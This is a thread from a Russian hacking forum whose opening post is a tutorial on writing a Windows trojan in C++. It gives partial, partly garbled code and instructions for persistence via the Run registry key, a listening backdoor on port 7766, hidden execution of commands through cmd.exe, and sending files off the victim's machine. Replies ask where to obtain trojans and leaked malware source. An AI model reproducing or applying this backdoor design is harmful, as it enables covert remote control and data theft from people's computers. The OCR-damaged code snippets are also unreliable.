Основан 26 Июля 2013 года
freehacks.ru fhacks.me fhacks.pw fhacksnplmzxaaoo.onion
Страница 1 из 2 12 ПоследняяПоследняя
Показано с 1 по 10 из 15
  1. #1
    TopicStarter
    Заблокирован по собственному желанию
    Аватар для S3ct0r

    Статус
    Offline
    Регистрация
    30.03.2014
    Сообщений
    459
    Репутация
    202 + / -
    Другое

    Как написать Троян (Пример)

    Для проги нам понадобится Visual C++ версии выше пятой, а лучше C++,
    входящий в комплект Visual Studio .NET. Создаем blank workspace или solution (в VS
    .NET) и добавляем в него два новых пустых проекта Win32
    Application, сервер и клиент. Тотчас же меняем активную конфигурацию
    обоих проектов на Release. Для этого выбери соответствующий пункт в
    меню Build. Создал? Отлично, теперь залезем в настройку проектов
    (кликни правой кнопкой мышки на имени проекта и выбери Setting), в
    Linker и добавим там к строке Object/library modules библиотеку
    винсока wsock32.lib. Без нее наша программа не будет работать. Заметь, эти
    действия нужно провести с обоими проектами - и с сервером, и с
    клиентом, так как они оба будут использовать сетевые функции и
    соответственно нуждаться в сетевой библиотеке. Теперь добавляй в
    проект-сервер новый срр файл, и начнем.

    НАЧНЕМ КОДИТЬ
    В самом начале программы мы должны включить заголовочные файлы
    (хидеры), в которых описаны функции используемые нами. Без хидеров
    программа выдаст тебе тучу ошибок и никогда не заработает. В данном
    случае у нас только один хидер - описывающий сетевые функции, из
    библиотеки, которую мы добавили чуть раньше.
    #include <winsock2.h>

    С помощью следующих, крайне важных для размера программы строк, мы
    вырежем все лишнее из РЕ-заголовка нашего ехешника, а также сообщим
    компилятору, что у нас уже есть EntryPoint, точка входа. Если этого не
    сделать, то компилятор вместо того, чтобы вписать нашу функцию в точку
    входа, напишет свою, огромную, и размер программы вырастет из 2 до 28
    кило. Заметная разница? smile Но если ты теперь попытаешься запустить
    прогу в режиме отладки, она, скорее всего, не заработает.

    #pragma comment(linker,/MERGE:.rdata=.text)
    #ргадта comment(linker,/FILEALIGN:512 /SECTION:.text, EWRX
    /IGNORE:4078)
    # pragma comment(linker,/ENTRY:WinMain)

    Вот мы и подошли к самому главному в программе - точке входа, функции
    которой передается управление после запуска. У нее существует четыре
    параметра, ни один из которых нам не понадобится, поэтому название
    параметров я не пишу, а пишу только их тип.

    int WINAPI WinMain(HINSTANCE,HINSTANCE.LPSTFUnt){

    Первым делом мы должны скопировать себя в системную директорию.
    Создаем два строковых буфера по 256 символов каждый. Первый для
    хранения полного пути с именем запущенного трояна (не будешь же
    распространять trojan.exe), a второй для нового пути в системной
    директории. Полный путь с именем файла нам придется получить с помощью
    функции ядра GetModuleRleName. Передавая в первом параметре
    GetModuleHandle(O), мы сообщаем фунщии описатель модуля запущенного
    файла, во втором и третьем параметре буфер, в который писать путь и ее
    размер соответственно. Путь, куда будем копировать, мы получим с
    помощью функции GetSystemDirectory, сообщив ей в параметрах второй
    буфер и склеив ее с новым именем файла в формате \\trojan.exe.
    Вызываем CopyFile c нашими, уже заполненными буферами в первых двух
    параметрах и true в третьем, если мы не хотим перезаписывать
    существующий файл, или false, если хотим.

    Дальше с помощью функций работы с реестром мы запишем в
    SOFTWARE\Microsoft\Windows\CurrentVersion\Run свой свежескопированный
    файл, чтобы он грузился при каждом запуске системы. Троян загружен и
    готов к круговой обороне (атаке smile).

    СЛУШАЕМ ПОРТ

    Наконец мы добрались до самого важного участка кода, без которого
    троян - это не троян. Участка, отвечающего за обмен данными жертвы с
    тобой smile. Как ты уже, наверное, знаешь из статей Horrific'a, для
    использования функций winsoc^a его сначала требуется инициализировать.
    В сях это делается следующим кодом:

    WSADATAwsaData;
    WSAStartup(MAKEWORD(2,2),&wsaData);

    После инициализации можно приступать к работе с сокетами. Для начала
    мы создадим сокет listet_Sock c помощью функции socket. Bo втором
    параметре этой функции мы передадим ей defined значение SOCK STREAM,
    что означает, что мы будем использовать для связи потоковый протокол
    TCP. Если бы мы хотели юзать UDP, то передали бы SOCKJDGRAM.
    SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);
    Теперь мы должны задать свойства этого сокета, то есть номер
    открываемого нами порта, возможные для соединения ip-адреса и
    семейство сокетов, параметр AFJNET, который указывает на то, что мы
    работаем с интернетом. Для этих свойств существует структура
    sockaddrjn, которую мы и заполним.

    //создаем переменную со свойствами
    SOCKADDRJN addr_Sock;
    addr_Sock.sinJamily = AFJNET;
    //сообщаем, что к нам могут коннектиться с любого адреса
    addrJ5ock.sin_addr.s_addr = htonl(INADDR_ANY);
    //говорим, что будем слушать порт 7766, можешь написать любой
    addr_Sock.sin_port = htons(7766);

    Если бы мы хотели ограничить возможные коннекты к нашему трояну
    каким-то ip, то написали бы inet_addr(127.0.0.1) вместо INADDR_ANY.
    inet_addr - очень полезная функция, которая наверняка тебе еще
    пригодится для программирования сокетов. Она превращает строку с
    адресом в формате a.b.c.d в long число, чтобы его впоследствии можно
    было использовать для свойств и т.п. Функция htons превращает целое
    число в удобочитаемое машиной, и если присвоить addr Sock.sin_port не
    функцию htons, а только ее параметр 7766, то программа откроет любой
    порт, но только не тот, что мы хотим smile.

    С помощью функции bind мы склеим созданный нами сокет listet_Sock и
    его свойства addr_Sock (в умных книжках эти свойства зовутся локальным
    адресом). Если функция вернет значение, отличное от нуля, значит,
    произошла какая-то ошибка, или порт уже занят другой программой, или
    еще что-то. В случае ошибки троян закроется с помощью команды return
    0, которая говорит программе, чтобы текущая функция вернула значение 0
    и вырубилась, а так как у нас функция одна, то она и вырубается вместе
    с нашим бедным сервером.

    if(bind(listetJ5ock,(LPSOCKADDR)&addr_Sock, sizegf(struct sockaddr)))
    return 0;

    A этой строкой мы, наконец, начнем СЛУШАТЬ порт, то есть откроем его
    для соединений. Если быть точным, для одного соединения. В первом
    параметре мы передаем переменную-сокет, который открываем, а во втором
    - количество возможных коннектов, нам больше одного не надо. Как и в
    случае c bind'OM, при ошибке отключаем троян.
    if(listen(listet_Sock, 1)) return 0;

    ФУНКЦИИ ТРОЯНА

    Для того чтобы начинать принимать команды от клиента к серверу,
    потребуется сначала разрешить клиенту приконнектиться функцией accept.
    Эта функция ждет, пока кто-нибудь не присоединится к созданному нами
    сокету, и возвращает новый сокет, из которого мы и будем получать
    команды. Чтобы после первого же дисконнекта троян у нас не падал, мы
    должны засунуть эту функцию в бесконечный цикл while(true). B этом
    цикле мы будем ждать коннекта, затем запускать новый бесконечный цикл
    (авторы В02К назвали этот цикл CommandLoop) для обработки получаемых
    от клиента команд, из которого выйдем только в случае ошибки при

    приеме данных.

    1) Ждем коннекта

    2) Обрабатываем команды

    3) При ошибке закрываем существующие соединения

    4) Возвращаемся кп.1

    Команды будут приниматься в виде строки, первый символ которой
    -собственно, выбор функции, второй - разделитель, любой, а остальные -
    это аргумент, который мы передаем функции нашего трояна. Вот пример
    команды, посылаемой клиентом: Привет. Троян сначала примет первые
    два символа и проверит, есть ли у нас функция, назначенная на символ m
    (y нас это вывод сообщения). Затем примет еще 126 символов и загрузит
    нашу функцию. To есть троян в цикле принимает с помощью функции recv из
    созданного после коннекта сокета hack Sock данные два раза, в первый
    буфер 2 байта, и во второй 126. В случае, если данные получить не
    удалось, CommandLoop завершится командой break, сокет закроется и
    сервер снова будет ждать коннекта. Распишем функции трояна подробнее:
    Если первый символ m, то выполняется функция MessageBox(0,buf,Hacked
    smile,0), где buf - это наш второй буфер.

    Если первый символ е, то строка buf выполняется через cmd.exe c
    параметром /с, для этого запускается функция с такими параметрами
    ShellExecuteA(NULL, ореn, cmd.exe, buf_command, NULL, SW_H1DE),
    где buf_command - это наш буфер с добавленной вперед строкой /с , a
    SW_HIDE указывает на то, что жертва не должна видеть появляющуюся
    консоль. И последняя, самая сложная функция, осуществляющая скачивание
    файла с машины жертвы. Она выполняется в случае, если первый символ -
    это f. Сначала она открывает файл только для чтения функцией
    QpateFile. A затем, если файл существует, в цикле посылает по 4096
    байтов этого файла. Если же байтов отослано меньше, значит, это конец
    файла и цикл прерывается. А сигналом для клиента, что файл закончился,
    будет дисконнект.

    КЛИЕНТ

    В роли клиента может выступать любая программа, которая может послать
    пакет заданного нами формата жертве. To есть сконнектиться с серваком
    и выполнить команду типа: send(sock,m Неllo,128,0). Но на всякий
    случай я написал клиент, который работает из командной строки, и, по
    идее, его легко перенести на любую платформу. Посылка команды трояну
    осуществляется командой client.exe [ip жертвы] [функция] [аргумент],
    например: client 127.0.0.1 m Привет.

  2. 5 пользователя(ей) сказали cпасибо:
  3. #2
    Аватар для sata-ata

    Статус
    Offline
    Регистрация
    29.10.2013
    Сообщений
    3,035
    Репутация
    282 + / -
    Программист
    подобное в песочницу нужно!
    переместите

    хорошо написано)
    можно подробнее про клиента?
    8AC4F56356469F79B5283364053ACDA49D8EC9FEFDADC2B42F A5B4E979D9222267583F350BF9

    с/delphi/pascal/vbs/vbm/bat
    Ник зареган, суки! [Только зарегистрированные могут видеть это. ]

  4. #3
    Аватар для tyman

    Статус
    Offline
    Регистрация
    12.09.2013
    Сообщений
    310
    Репутация
    78 + / -
    Хакинг
    Не знаю, троянов полным полно, на любой вкус.
    .|.

  5. #4
    Аватар для GuberOK

    Статус
    Offline
    Регистрация
    16.02.2014
    Сообщений
    92
    Репутация
    48 + / -
    Хакинг
    Цитата Сообщение от tyman Посмотреть сообщение
    Не знаю, троянов полным полно, на любой вкус.
    Отпиши пожалуйста где взять можно
    Я зарегистрировал ник! [Только зарегистрированные могут видеть это. ]

  6. #5
    Аватар для Fischer2014

    Статус
    Offline
    Регистрация
    25.04.2014
    Сообщений
    377
    Репутация
    143 + / -
    Программист
    Скорее проблема не в написание торояна или поиска в палики а в криптографии )))

  7. #6
    TopicStarter
    Заблокирован по собственному желанию
    Аватар для S3ct0r

    Статус
    Offline
    Регистрация
    30.03.2014
    Сообщений
    459
    Репутация
    202 + / -
    Другое
    Цитата Сообщение от tyman Посмотреть сообщение
    Не знаю, троянов полным полно, на любой вкус.
    исходники которых утекли?

  8. #7
    Trust
    Аватар для ul1k317

    Статус
    Offline
    Регистрация
    26.08.2013
    Сообщений
    823
    Репутация
    395 + / -
    Web-программист
    Цитата Сообщение от sata-ata Посмотреть сообщение
    подобное в песочницу нужно!
    переместите

    хорошо написано)
    можно подробнее про клиента?
    Этот раздел вполне подходит для данной статьи.
    php, mysql, mssql, js, html, css, ajax, administrating, it consulting, etc.

  9. #8
    TopicStarter
    Заблокирован по собственному желанию
    Аватар для S3ct0r

    Статус
    Offline
    Регистрация
    30.03.2014
    Сообщений
    459
    Репутация
    202 + / -
    Другое
    Цитата Сообщение от tyman Посмотреть сообщение
    Не знаю, троянов полным полно, на любой вкус.
    есть исходники flame?

  10. #9
    Аватар для tyman

    Статус
    Offline
    Регистрация
    12.09.2013
    Сообщений
    310
    Репутация
    78 + / -
    Хакинг
    [Только зарегистрированные могут видеть это. ]
    [Только зарегистрированные могут видеть это. ]
    [Только зарегистрированные могут видеть это. ]
    Удобно, понятно, и с наворотами.
    .|.

  11. #10
    TopicStarter
    Заблокирован по собственному желанию
    Аватар для S3ct0r

    Статус
    Offline
    Регистрация
    30.03.2014
    Сообщений
    459
    Репутация
    202 + / -
    Другое
    Цитата Сообщение от tyman Посмотреть сообщение
    [Только зарегистрированные могут видеть это. ]
    зайди туда, и скажи не заметил ли ты ничего странного...)

Страница 1 из 2 12 ПоследняяПоследняя

Метки этой темы

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  

Информация на сайте предоставлена исключительно в ознакомительных целях, использование знаний в противозаконных целях преследуется по закону! Администрация не несет ответственности за ваши деяния.